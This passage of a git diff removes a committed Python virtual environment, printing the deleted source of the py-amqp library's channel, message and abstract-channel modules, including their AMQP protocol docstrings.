a/backend/venv/Lib/site-packages/amqp/__pycache__/platform.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/protocol.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/protocol.cpython-311.pyc deleted file mode 100644 index aebd10f1..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/protocol.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/sasl.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/sasl.cpython-311.pyc deleted file mode 100644 index 12e3928d..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/sasl.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/serialization.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/serialization.cpython-311.pyc deleted file mode 100644 index 48102295..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/serialization.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/spec.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/spec.cpython-311.pyc deleted file mode 100644 index e2570845..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/spec.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/transport.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/transport.cpython-311.pyc deleted file mode 100644 index be2b01bc..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/transport.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 49e14e33..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/abstract_channel.py b/backend/venv/Lib/site-packages/amqp/abstract_channel.py deleted file mode 100644 index ae95a89e..00000000 --- a/backend/venv/Lib/site-packages/amqp/abstract_channel.py +++ /dev/null @@ -1,163 +0,0 @@ -"""Code common to Connection and Channel objects.""" -# Copyright (C) 2007-2008 Barry Pederson ) - -import logging - -from vine import ensure_promise, promise - -from .exceptions import AMQPNotImplementedError, RecoverableConnectionError -from .serialization import dumps, loads - -__all__ = ('AbstractChannel',) - -AMQP_LOGGER = logging.getLogger('amqp') - -IGNORED_METHOD_DURING_CHANNEL_CLOSE = """\ -Received method %s during closing channel %s. This method will be ignored\ -""" - - -class AbstractChannel: - """Superclass for Connection and Channel. - - The connection is treated as channel 0, then comes - user-created channel objects. - - The subclasses must have a _METHOD_MAP class property, mapping - between AMQP method signatures and Python methods. - """ - - def __init__(self, connection, channel_id): - self.is_closing = False - self.connection = connection - self.channel_id = channel_id - connection.channels[channel_id] = self - self.method_queue = [] # Higher level queue for methods - self.auto_decode = False - self._pending = {} - self._callbacks = {} - - self._setup_listeners() - - __slots__ = ( - "is_closing", - "connection", - "channel_id", - "method_queue", - "auto_decode", - "_pending", - "_callbacks", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def send_method(self, sig, - format=None, args=None, content=None, - wait=None, callback=None, returns_tuple=False): - p = promise() - conn = self.connection - if conn is None: - raise RecoverableConnectionError('connection already closed') - args = dumps(format, args) if format else '' - try: - conn.frame_writer(1, self.channel_id, sig, args, content) - except StopIteration: - raise RecoverableConnectionError('connection already closed') - - # TODO temp: callback should be after write_method ... ;) - if callback: - p.then(callback) - p() - if wait: - return self.wait(wait, returns_tuple=returns_tuple) - return p - - def close(self): - """Close this Channel or Connection.""" - raise NotImplementedError('Must be overridden in subclass') - - def wait(self, method, callback=None, timeout=None, returns_tuple=False): - p = ensure_promise(callback) - pending = self._pending - prev_p = [] - if not isinstance(method, list): - method = [method] - - for m in method: - prev_p.append(pending.get(m)) - pending[m] = p - - try: - while not p.ready: - self.connection.drain_events(timeout=timeout) - - if p.value: - args, kwargs = p.value - args = args[1:] # We are not returning method back - return args if returns_tuple else (args and args[0]) - finally: - for i, m in enumerate(method): - if prev_p[i] is not None: - pending[m] = prev_p[i] - else: - pending.pop(m, None) - - def dispatch_method(self, method_sig, payload, content): - if self.is_closing and method_sig not in ( - self._ALLOWED_METHODS_WHEN_CLOSING - ): - # When channel.close() was called we must ignore all methods except - # Channel.close and Channel.CloseOk - AMQP_LOGGER.warning( - IGNORED_METHOD_DURING_CHANNEL_CLOSE, - method_sig, self.channel_id - ) - return - - if content and \ - self.auto_decode and \ - hasattr(content, 'content_encoding'): - try: - content.body = content.body.decode(content.content_encoding) - except Exception: - pass - - try: - amqp_method = self._METHODS[method_sig] - except KeyError: - raise AMQPNotImplementedError( - f'Unknown AMQP method {method_sig!r}') - - try: - listeners = [self._callbacks[method_sig]] - except KeyError: - listeners = [] - one_shot = None - try: - one_shot = self._pending.pop(method_sig) - except KeyError: - if not listeners: - return - - args = [] - if amqp_method.args: - args, _ = loads(amqp_method.args, payload, 4) - if amqp_method.content: - args.append(content) - - for listener in listeners: - listener(*args) - - if one_shot: - one_shot(method_sig, *args) - - #: Placeholder, the concrete implementations will have to - #: supply their own versions of _METHOD_MAP - _METHODS = {} diff --git a/backend/venv/Lib/site-packages/amqp/basic_message.py b/backend/venv/Lib/site-packages/amqp/basic_message.py deleted file mode 100644 index cee0515d..00000000 --- a/backend/venv/Lib/site-packages/amqp/basic_message.py +++ /dev/null @@ -1,122 +0,0 @@ -"""AMQP Messages.""" -# Copyright (C) 2007-2008 Barry Pederson -from .serialization import GenericContent -# Intended to fix #85: ImportError: cannot import name spec -# Encountered on python 2.7.3 -# "The submodules often need to refer to each other. For example, the -# surround [sic] module might use the echo module. In fact, such -# references are so common that the import statement first looks in -# the containing package before looking in the standard module search -# path." -# Source: -# http://stackoverflow.com/a/14216937/4982251 -from .spec import Basic - -__all__ = ('Message',) - - -class Message(GenericContent): - """A Message for use with the Channel.basic_* methods. - - Expected arg types - - body: string - children: (not supported) - - Keyword properties may include: - - content_type: shortstr - MIME content type - - content_encoding: shortstr - MIME content encoding - - application_headers: table - Message header field table, a dict with string keys, - and string | int | Decimal | datetime | dict values. - - delivery_mode: octet - Non-persistent (1) or persistent (2) - - priority: octet - The message priority, 0 to 9 - - correlation_id: shortstr - The application correlation identifier - - reply_to: shortstr - The destination to reply to - - expiration: shortstr - Message expiration specification - - message_id: shortstr - The application message identifier - - timestamp: unsigned long - The message timestamp - - type: shortstr - The message type name - - user_id: shortstr - The creating user id - - app_id: shortstr - The creating application id - - cluster_id: shortstr - Intra-cluster routing identifier - - Unicode bodies are encoded according to the 'content_encoding' - argument. If that's None, it's set to 'UTF-8' automatically. - - Example:: - - msg = Message('hello world', - content_type='text/plain', - application_headers={'foo': 7}) - """ - - CLASS_ID = Basic.CLASS_ID - - #: Instances of this class have these attributes, which - #: are passed back and forth as message properties between - #: client and server - PROPERTIES = [ - ('content_type', 's'), - ('content_encoding', 's'), - ('application_headers', 'F'), - ('delivery_mode', 'o'), - ('priority', 'o'), - ('correlation_id', 's'), - ('reply_to', 's'), - ('expiration', 's'), - ('message_id', 's'), - ('timestamp', 'L'), - ('type', 's'), - ('user_id', 's'), - ('app_id', 's'), - ('cluster_id', 's') - ] - - def __init__(self, body='', children=None, channel=None, **properties): - super().__init__(**properties) - #: set by basic_consume/basic_get - self.delivery_info = None - self.body = body - self.channel = channel - - __slots__ = ( - "delivery_info", - "body", - "channel", - ) - - @property - def headers(self): - return self.properties.get('application_headers') - - @property - def delivery_tag(self): - return self.delivery_info.get('delivery_tag') diff --git a/backend/venv/Lib/site-packages/amqp/channel.py b/backend/venv/Lib/site-packages/amqp/channel.py deleted file mode 100644 index fffc7b8e..00000000 --- a/backend/venv/Lib/site-packages/amqp/channel.py +++ /dev/null @@ -1,2127 +0,0 @@ -"""AMQP Channels.""" -# Copyright (C) 2007-2008 Barry Pederson - -import logging -import socket -from collections import defaultdict -from queue import Queue - -from vine import ensure_promise - -from . import spec -from .abstract_channel import AbstractChannel -from .exceptions import (ChannelError, ConsumerCancelled, MessageNacked, - RecoverableChannelError, RecoverableConnectionError, - error_for_code) -from .protocol import queue_declare_ok_t - -__all__ = ('Channel',) - -AMQP_LOGGER = logging.getLogger('amqp') - -REJECTED_MESSAGE_WITHOUT_CALLBACK = """\ -Rejecting message with delivery tag %r for reason of having no callbacks. -consumer_tag=%r exchange=%r routing_key=%r.\ -""" - - -class VDeprecationWarning(DeprecationWarning): - pass - - -class Channel(AbstractChannel): - """AMQP Channel. - - The channel class provides methods for a client to establish a - virtual connection - a channel - to a server and for both peers to - operate the virtual connection thereafter. - - GRAMMAR:: - - channel = open-channel *use-channel close-channel - open-channel = C:OPEN S:OPEN-OK - use-channel = C:FLOW S:FLOW-OK - / S:FLOW C:FLOW-OK - / functional-class - close-channel = C:CLOSE S:CLOSE-OK - / S:CLOSE C:CLOSE-OK - - Create a channel bound to a connection and using the specified - numeric channel_id, and open on the server. - - The 'auto_decode' parameter (defaults to True), indicates - whether the library should attempt to decode the body - of Messages to a Unicode string if there's a 'content_encoding' - property for the message. If there's no 'content_encoding' - property, or the decode raises an Exception, the message body - is left as plain bytes. - """ - - _METHODS = { - spec.method(spec.Channel.Close, 'BsBB'), - spec.method(spec.Channel.CloseOk), - spec.method(spec.Channel.Flow, 'b'), - spec.method(spec.Channel.FlowOk, 'b'), - spec.method(spec.Channel.OpenOk), - spec.method(spec.Exchange.DeclareOk), - spec.method(spec.Exchange.DeleteOk), - spec.method(spec.Exchange.BindOk), - spec.method(spec.Exchange.UnbindOk), - spec.method(spec.Queue.BindOk), - spec.method(spec.Queue.UnbindOk), - spec.method(spec.Queue.DeclareOk, 'sll'), - spec.method(spec.Queue.DeleteOk, 'l'), - spec.method(spec.Queue.PurgeOk, 'l'), - spec.method(spec.Basic.Cancel, 's'), - spec.method(spec.Basic.CancelOk, 's'), - spec.method(spec.Basic.ConsumeOk, 's'), - spec.method(spec.Basic.Deliver, 'sLbss', content=True), - spec.method(spec.Basic.GetEmpty, 's'), - spec.method(spec.Basic.GetOk, 'Lbssl', content=True), - spec.method(spec.Basic.QosOk), - spec.method(spec.Basic.RecoverOk), - spec.method(spec.Basic.Return, 'Bsss', content=True), - spec.method(spec.Tx.CommitOk), - spec.method(spec.Tx.RollbackOk), - spec.method(spec.Tx.SelectOk), - spec.method(spec.Confirm.SelectOk), - spec.method(spec.Basic.Ack, 'Lb'), - spec.method(spec.Basic.Nack, 'Lb'), - } - _METHODS = {m.method_sig: m for m in _METHODS} - - _ALLOWED_METHODS_WHEN_CLOSING = ( - spec.Channel.Close, spec.Channel.CloseOk - ) - - def __init__(self, connection, - channel_id=None, auto_decode=True, on_open=None): - if channel_id: - connection._claim_channel_id(channel_id) - else: - channel_id = connection._get_free_channel_id() - - AMQP_LOGGER.debug('using channel_id: %s', channel_id) - - super().__init__(connection, channel_id) - - self.is_open = False - self.active = True # Flow control - self.returned_messages = Queue() - self.callbacks = {} - self.cancel_callbacks = {} - self.auto_decode = auto_decode - self.events = defaultdict(set) - self.no_ack_consumers = set() - - self.on_open = ensure_promise(on_open) - - # set first time basic_publish_confirm is called - # and publisher confirms are enabled for this channel. - self._confirm_selected = False - if self.connection.confirm_publish: - self.basic_publish = self.basic_publish_confirm - - __slots__ = ( - "is_open", - "active", - "returned_messages", - "callbacks", - "cancel_callbacks", - "events", - "no_ack_consumers", - "on_open", - "_confirm_selected", - ) - - def then(self, on_success, on_error=None): - return self.on_open.then(on_success, on_error) - - def _setup_listeners(self): - self._callbacks.update({ - spec.Channel.Close: self._on_close, - spec.Channel.CloseOk: self._on_close_ok, - spec.Channel.Flow: self._on_flow, - spec.Channel.OpenOk: self._on_open_ok, - spec.Basic.Cancel: self._on_basic_cancel, - spec.Basic.CancelOk: self._on_basic_cancel_ok, - spec.Basic.Deliver: self._on_basic_deliver, - spec.Basic.Return: self._on_basic_return, - spec.Basic.Ack: self._on_basic_ack, - spec.Basic.Nack: self._on_basic_nack, - }) - - def collect(self): - """Tear down this object. - - Best called after we've agreed to close with the server. - """ - AMQP_LOGGER.debug('Closed channel #%s', self.channel_id) - self.is_open = False - channel_id, self.channel_id = self.channel_id, None - connection, self.connection = self.connection, None - if connection: - connection.channels.pop(channel_id, None) - try: - connection._used_channel_ids.remove(channel_id) - except ValueError: - # channel id already removed - pass - self.callbacks.clear() - self.cancel_callbacks.clear() - self.events.clear() - self.no_ack_consumers.clear() - - def _do_revive(self): - self.is_open = False - self.open() - - def close(self, reply_code=0, reply_text='', method_sig=(0, 0), - argsig='BsBB'): - """Request a channel close. - - This method indicates that the sender wants to close the - channel. This may be due to internal conditions (e.g. a forced - shut-down) or due to an error handling a specific method, i.e. - an exception. When a close is due to an exception, the sender - provides the class and method id of the method which caused - the exception. - - RULE: - - After sending this method any received method except - Channel.Close-OK MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with Channel.Close-OK.. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - try: - if self.connection is None: - return - if self.connection.channels is None: - return - if not self.is_open: - return - - self.is_closing = True - return self.send_method( - spec.Channel.Close, argsig, - (reply_code, reply_text, method_sig[0], method_sig[1]), - wait=spec.Channel.CloseOk, - ) - finally: - self.is_closing = False - self.connection = None - - def _on_close(self, reply_code, reply_text, class_id, method_id): - """Request a channel close. - - This method indicates that the sender wants to close the - channel. This may be due to internal conditions (e.g. a forced - shut-down) or due to an error handling a specific method, i.e. - an exception. When a close is due to an exception, the sender - provides the class and method id of the method which caused - the exception. - - RULE: - - After sending this method any received method except - Channel.Close-OK MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with Channel.Close-OK.. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - self.send_method(spec.Channel.CloseOk) - if not self.connection.is_closing: - self._do_revive() - raise error_for_code( - reply_code, reply_text, (class_id, method_id), ChannelError, - ) - - def _on_close_ok(self): - """Confirm a channel close. - - This method confirms a Channel.Close method and tells the - recipient that it is safe to release resources for the channel - and close the socket. - - RULE: - - A peer that detects a socket closure without having - received a Channel.Close-Ok handshake method SHOULD log - the error. - """ - self.collect() - - def flow(self, active): - """Enable/disable flow from peer. - - This method asks the peer to pause or restart the flow of - content data. This is a simple flow-control mechanism that a - peer can use to avoid overflowing its queues or otherwise - finding itself receiving more messages than it can process. - Note that this method is not intended for window control. The - peer that receives a request to stop sending content should - finish sending the current content, if any, and then wait - until it receives a Flow restart method. - - RULE: - - When a new channel is opened, it is active. Some - applications assume that channels are inactive until - started. To emulate this behaviour a client MAY open the - channel, then pause it. - - RULE: - - When sending content data in multiple frames, a peer - SHOULD monitor the channel for incoming methods and - respond to a Channel.Flow as rapidly as possible. - - RULE: - - A peer MAY use the Channel.Flow method to throttle - incoming content data for internal reasons, for example, - when exchanging data over a slower connection. - - RULE: - - The peer that requests a Channel.Flow method MAY - disconnect and/or ban a peer that does not respect the - request. - - PARAMETERS: - active: boolean - - start/stop content frames - - If True, the peer starts sending content frames. If - False, the peer stops sending content frames. - """ - return self.send_method( - spec.Channel.Flow, 'b', (active,), wait=spec.Channel.FlowOk, - ) - - def _on_flow(self, active): - """Enable/disable flow from peer. - - This method asks the peer to pause or restart the flow of - content data. This is a simple flow-control mechanism that a - peer can use to avoid overflowing its queues or otherwise - finding itself receiving more messages than it can process. - Note that this method is not intended for window control. The - peer that receives a request to stop sending content should - finish sending the current content, if any, and then wait - until it receives a Flow restart method. - - RULE: - - When a new channel is opened, it is active. Some - applications assume that channels are inactive until - started. To emulate this behaviour a client MAY open the - channel, then pause it. - - RULE: - - When sending content data in multiple frames, a peer - SHOULD monitor the channel for incoming methods and - respond to a Channel.Flow as rapidly as possible. - - RULE: - - A peer MAY use the Channel.Flow method to throttle - incoming content data for internal reasons, for example, - when exchanging data over a slower connection. - - RULE: - - The peer that requests a Channel.Flow method MAY - disconnect and/or ban a peer that does not respect the - request. - - PARAMETERS: - active: boolean - - start/stop content frames - - If True, the peer starts sending content frames. If - False, the peer stops sending content frames. - """ - self.active = active - self._x_flow_ok(self.active) - - def _x_flow_ok(self, active): - """Confirm a flow method. - - Confirms to the peer that a flow command was received and - processed. - - PARAMETERS: - active: boolean - - current flow setting - - Confirms the setting of the processed flow method: - True means the peer will start sending or continue - to send content frames; False means it will not. - """ - return self.send_method(spec.Channel.FlowOk, 'b', (active,)) - - def open(self): - """Open a channel for use. - - This method opens a virtual connection (a channel). - - RULE: - - This method MUST NOT be called when the channel is already - open. - - PARAMETERS: - out_of_band: shortstr (DEPRECATED) - - out-of-band settings - - Configures out-of-band transfers on this channel. The - syntax and meaning of this field will be formally - defined at a later date. - """ - if self.is_open: - return - - return self.send_method( - spec.Channel.Open, 's', ('',), wait=spec.Channel.OpenOk, - ) - - def _on_open_ok(self): - """Signal that the channel is ready. - - This method signals to the client that the channel is ready - for use. - """ - self.is_open = True - self.on_open(self) - AMQP_LOGGER.debug('Channel open') - - ############# - # - # Exchange - # - # - # work with exchanges - # - # Exchanges match and distribute messages across queues. - # Exchanges can be configured in the server or created at runtime. - # - # GRAMMAR:: - # - # exchange = C:DECLARE S:DECLARE-OK - # / C:DELETE S:DELETE-OK - # - # RULE: - # - # The server MUST implement the direct and fanout exchange - # types, and predeclare the corresponding exchanges named - # amq.direct and amq.fanout in each virtual host. The server - # MUST also predeclare a direct exchange to act as the default - # exchange for content Publish methods and for default queue - # bindings. - # - # RULE: - # - # The server SHOULD implement the topic exchange type, and - # predeclare the corresponding exchange named amq.topic in - # each virtual host. - # - # RULE: - # - # The server MAY implement the system exchange type, and - # predeclare the corresponding exchanges named amq.system in - # each virtual host. If the client attempts to bind a queue to - # the system exchange, the server MUST raise a connection - # exception with reply code 507 (not allowed). - # - - def exchange_declare(self, exchange, type, passive=False, durable=False, - auto_delete=True, nowait=False, arguments=None, - argsig='BssbbbbbF'): - """Declare exchange, create if needed. - - This method creates an exchange if it does not already exist, - and if the exchange exists, verifies that it is of the correct - and expected class. - - RULE: - - The server SHOULD support a minimum of 16 exchanges per - virtual host and ideally, impose no limit except as - defined by available resources. - - PARAMETERS: - exchange: shortstr - - RULE: - - Exchange names starting with "amq." are reserved - for predeclared and standardised exchanges. If - the client attempts to create an exchange starting - with "amq.", the server MUST raise a channel - exception with reply code 403 (access refused). - - type: shortstr - - exchange type - - Each exchange belongs to one of a set of exchange - types implemented by the server. The exchange types - define the functionality of the exchange - i.e. how - messages are routed through it. It is not valid or - meaningful to attempt to change the type of an - existing exchange. - - RULE: - - If the exchange already exists with a different - type, the server MUST raise a connection exception - with a reply code 507 (not allowed). - - RULE: - - If the server does not support the requested - exchange type it MUST raise a connection exception - with a reply code 503 (command invalid). - - passive: boolean - - do not create exchange - - If set, the server will not create the exchange. The - client can use this to check whether an exchange - exists without modifying the server state. - - RULE: - - If set, and the exchange does not already exist, - the server MUST raise a channel exception with - reply code 404 (not found). - - durable: boolean - - request a durable exchange - - If set when creating a new exchange, the exchange will - be marked as durable. Durable exchanges remain active - when a server restarts. Non-durable exchanges - (transient exchanges) are purged if/when a server - restarts. - - RULE: - - The server MUST support both durable and transient - exchanges. - - RULE: - - The server MUST ignore the durable field if the - exchange already exists. - - auto_delete: boolean - - auto-delete when unused - - If set, the exchange is deleted when all queues have - finished using it. - - RULE: - - The server SHOULD allow for a reasonable delay - between the point when it determines that an - exchange is not being used (or no longer used), - and the point when it deletes the exchange. At - the least it must allow a client to create an - exchange and then bind a queue to it, with a small - but non-zero delay between these two actions. - - RULE: - - The server MUST ignore the auto-delete field if - the exchange already exists. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for declaration - - A set of arguments for the declaration. The syntax and - semantics of these arguments depends on the server - implementation. This field is ignored if passive is - True. - """ - self.send_method( - spec.Exchange.Declare, argsig, - (0, exchange, type, passive, durable, auto_delete, - False, nowait, arguments), - wait=None if nowait else spec.Exchange.DeclareOk, - ) - - def exchange_delete(self, exchange, if_unused=False, nowait=False, - argsig='Bsbb'): - """Delete an exchange. - - This method deletes an exchange. When an exchange is deleted - all queue bindings on the exchange are cancelled. - - PARAMETERS: - exchange: shortstr - - RULE: - - The exchange MUST exist. Attempting to delete a - non-existing exchange causes a channel exception. - - if_unused: boolean - - delete only if unused - - If set, the server will only delete the exchange if it - has no queue bindings. If the exchange has queue - bindings the server does not delete it but raises a - channel exception instead. - - RULE: - - If set, the server SHOULD delete the exchange but - only if it has no queue bindings. - - RULE: - - If set, the server SHOULD raise a channel - exception if the exchange is in use. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - """ - return self.send_method( - spec.Exchange.Delete, argsig, (0, exchange, if_unused, nowait), - wait=None if nowait else spec.Exchange.DeleteOk, - ) - - def exchange_bind(self, destination, source='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Bind an exchange to an exchange. - - RULE: - - A server MUST allow and ignore duplicate bindings - that - is, two or more bind methods for a specific exchanges, - with identical arguments - without treating these as an - error. - - RULE: - - A server MUST allow cycles of exchange bindings to be - created including allowing an exchange to be bound to - itself. - - RULE: - - A server MUST not deliver the same message more than once - to a destination exchange, even if the topology of - exchanges and bindings results in multiple (even infinite) - routes to that exchange. - - PARAMETERS: - reserved-1: short - - destination: shortstr - - Specifies the name of the destination exchange to - bind. - - RULE: - - A client MUST NOT be allowed to bind a non- - existent destination exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - source: shortstr - - Specifies the name of the source exchange to bind. - - RULE: - - A client MUST NOT be allowed to bind a non- - existent source exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - routing-key: shortstr - - Specifies the routing key for the binding. The routing - key is used for routing messages depending on the - exchange configuration. Not all exchanges use a - routing key - refer to the specific exchange - documentation. - - no-wait: bit - - arguments: table - - A set of arguments for the binding. The syntax and - semantics of these arguments depends on the exchange - class. - """ - return self.send_method( - spec.Exchange.Bind, argsig, - (0, destination, source, routing_key, nowait, arguments), - wait=None if nowait else spec.Exchange.BindOk, - ) - - def exchange_unbind(self, destination, source='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Unbind an exchange from an exchange. - - RULE: - - If a unbind fails, the server MUST raise a connection - exception. - - PARAMETERS: - reserved-1: short - - destination: shortstr - - Specifies the name of the destination exchange to - unbind. - - RULE: - - The client MUST NOT attempt to unbind an exchange - that does not exist from an exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - source: shortstr - - Specifies the name of the source exchange to unbind. - - RULE: - - The client MUST NOT attempt to unbind an exchange - from an exchange that does not exist. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - routing-key: shortstr - - Specifies the routing key of the binding to unbind. - - no-wait: bit - - arguments: table - - Specifies the arguments of the binding to unbind. - """ - return self.send_method( - spec.Exchange.Unbind, argsig, - (0, destination, source, routing_key, nowait, arguments), - wait=None if nowait else spec.Exchange.UnbindOk, - ) - - ############# - # - # Queue - # - # - # work with queues - # - # Queues store and forward messages. Queues can be configured in - # the server or created at runtime. Queues must be attached to at - # least one exchange in order to receive messages from publishers. - # - # GRAMMAR:: - # - # queue = C:DECLARE S:DECLARE-OK - # / C:BIND S:BIND-OK - # / C:PURGE S:PURGE-OK - # / C:DELETE S:DELETE-OK - # - # RULE: - # - # A server MUST allow any content class to be sent to any - # queue, in any mix, and queue and delivery these content - # classes independently. Note that all methods that fetch - # content off queues are specific to a given content class. - # - - def queue_bind(self, queue, exchange='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Bind queue to an exchange. - - This method binds a queue to an exchange. Until a queue is - bound it will not receive any messages. In a classic - messaging model, store-and-forward queues are bound to a dest - exchange and subscription queues are bound to a dest_wild - exchange. - - RULE: - - A server MUST allow ignore duplicate bindings - that is, - two or more bind methods for a specific queue, with - identical arguments - without treating these as an error. - - RULE: - - If a bind fails, the server MUST raise a connection - exception. - - RULE: - - The server MUST NOT allow a durable queue to bind to a - transient exchange. If the client attempts this the server - MUST raise a channel exception. - - RULE: - - Bindings for durable queues are automatically durable and - the server SHOULD restore such bindings after a server - restart. - - RULE: - - The server SHOULD support at least 4 bindings per queue, - and ideally, impose no limit except as defined by - available resources. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to bind. If the queue - name is empty, refers to the current queue for the - channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - If the queue does not exist the server MUST raise - a channel exception with reply code 404 (not - found). - - exchange: shortstr - - The name of the exchange to bind to. - - RULE: - - If the exchange does not exist the server MUST - raise a channel exception with reply code 404 (not - found). - - routing_key: shortstr - - message routing key - - Specifies the routing key for the binding. The - routing key is used for routing messages depending on - the exchange configuration. Not all exchanges use a - routing key - refer to the specific exchange - documentation. If the routing key is empty and the - queue name is empty, the routing key will be the - current queue for the channel, which is the last - declared queue. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for binding - - A set of arguments for the binding. The syntax and - semantics of these arguments depends on the exchange - class. - """ - return self.send_method( - spec.Queue.Bind, argsig, - (0, queue, exchange, routing_key, nowait, arguments), - wait=None if nowait else spec.Queue.BindOk, - ) - - def queue_unbind(self, queue, exchange, routing_key='', - nowait=False, arguments=None, argsig='BsssF'): - """Unbind a queue from an exchange. - - This method unbinds a queue from an exchange. - - RULE: - - If a unbind fails, the server MUST raise a connection exception. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to unbind. - - RULE: - - The client MUST either specify a queue name or have - previously declared a queue on the same channel - - RULE: - - The client MUST NOT attempt to unbind a queue that - does not exist. - - exchange: shortstr - - The name of the exchange to unbind from. - - RULE: - - The client MUST NOT attempt to unbind a queue from an - exchange that does not exist. - - RULE: - - The server MUST accept a blank exchange name to mean - the default exchange. - - routing_key: shortstr - - routing key of binding - - Specifies the routing key of the binding to unbind. - - arguments: table - - arguments of binding - - Specifies the arguments of the binding to unbind. - """ - return self.send_method( - spec.Queue.Unbind, argsig, - (0, queue, exchange, routing_key, arguments), - wait=None if nowait else spec.Queue.UnbindOk, - ) - - def queue_declare(self, queue='', passive=False, durable=False, - exclusive=False, auto_delete=True, nowait=False, - arguments=None, argsig='BsbbbbbF'): - """Declare queue, create if needed. - - This method creates or checks a queue. When creating a new - queue the client can specify various properties that control - the durability of the queue and its contents, and the level of - sharing for the queue. - - RULE: - - The server MUST create a default binding for a newly- - created queue to the default exchange, which is an - exchange of type 'direct'. - - RULE: - - The server SHOULD support a minimum of 256 queues per - virtual host and ideally, impose no limit except as - defined by available resources. - - PARAMETERS: - queue: shortstr - - RULE: - - The queue name MAY be empty, in which case the - server MUST create a new queue with a unique - generated name and return this to the client in - the Declare-Ok method. - - RULE: - - Queue names starting with "amq." are reserved for - predeclared and standardised server queues. If - the queue name starts with "amq." and the passive - option is False, the server MUST raise a connection - exception with reply code 403 (access refused). - - passive: boolean - - do not create queue - - If set, the server will not create the queue. The - client can use this to check whether a queue exists - without modifying the server state. - - RULE: - - If set, and the queue does not already exist, the - server MUST respond with a reply code 404 (not - found) and raise a channel exception. - - durable: boolean - - request a durable queue - - If set when creating a new queue, the queue will be - marked as durable. Durable queues remain active when - a server restarts. Non-durable queues (transient - queues) are purged if/when a server restarts. Note - that durable queues do not necessarily hold persistent - messages, although it does not make sense to send - persistent messages to a transient queue. - - RULE: - - The server MUST recreate the durable queue after a - restart. - - RULE: - - The server MUST support both durable and transient - queues. - - RULE: - - The server MUST ignore the durable field if the - queue already exists. - - exclusive: boolean - - request an exclusive queue - - Exclusive queues may only be consumed from by the - current connection. Setting the 'exclusive' flag - always implies 'auto-delete'. - - RULE: - - The server MUST support both exclusive (private) - and non-exclusive (shared) queues. - - RULE: - - The server MUST raise a channel exception if - 'exclusive' is specified and the queue already - exists and is owned by a different connection. - - auto_delete: boolean - - auto-delete queue when unused - - If set, the queue is deleted when all consumers have - finished using it. Last consumer can be cancelled - either explicitly or because its channel is closed. If - there was no consumer ever on the queue, it won't be - deleted. - - RULE: - - The server SHOULD allow for a reasonable delay - between the point when it determines that a queue - is not being used (or no longer used), and the - point when it deletes the queue. At the least it - must allow a client to create a queue and then - create a consumer to read from it, with a small - but non-zero delay between these two actions. The - server should equally allow for clients that may - be disconnected prematurely, and wish to re- - consume from the same queue without losing - messages. We would recommend a configurable - timeout, with a suitable default value being one - minute. - - RULE: - - The server MUST ignore the auto-delete field if - the queue already exists. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for declaration - - A set of arguments for the declaration. The syntax and - semantics of these arguments depends on the server - implementation. This field is ignored if passive is - True. 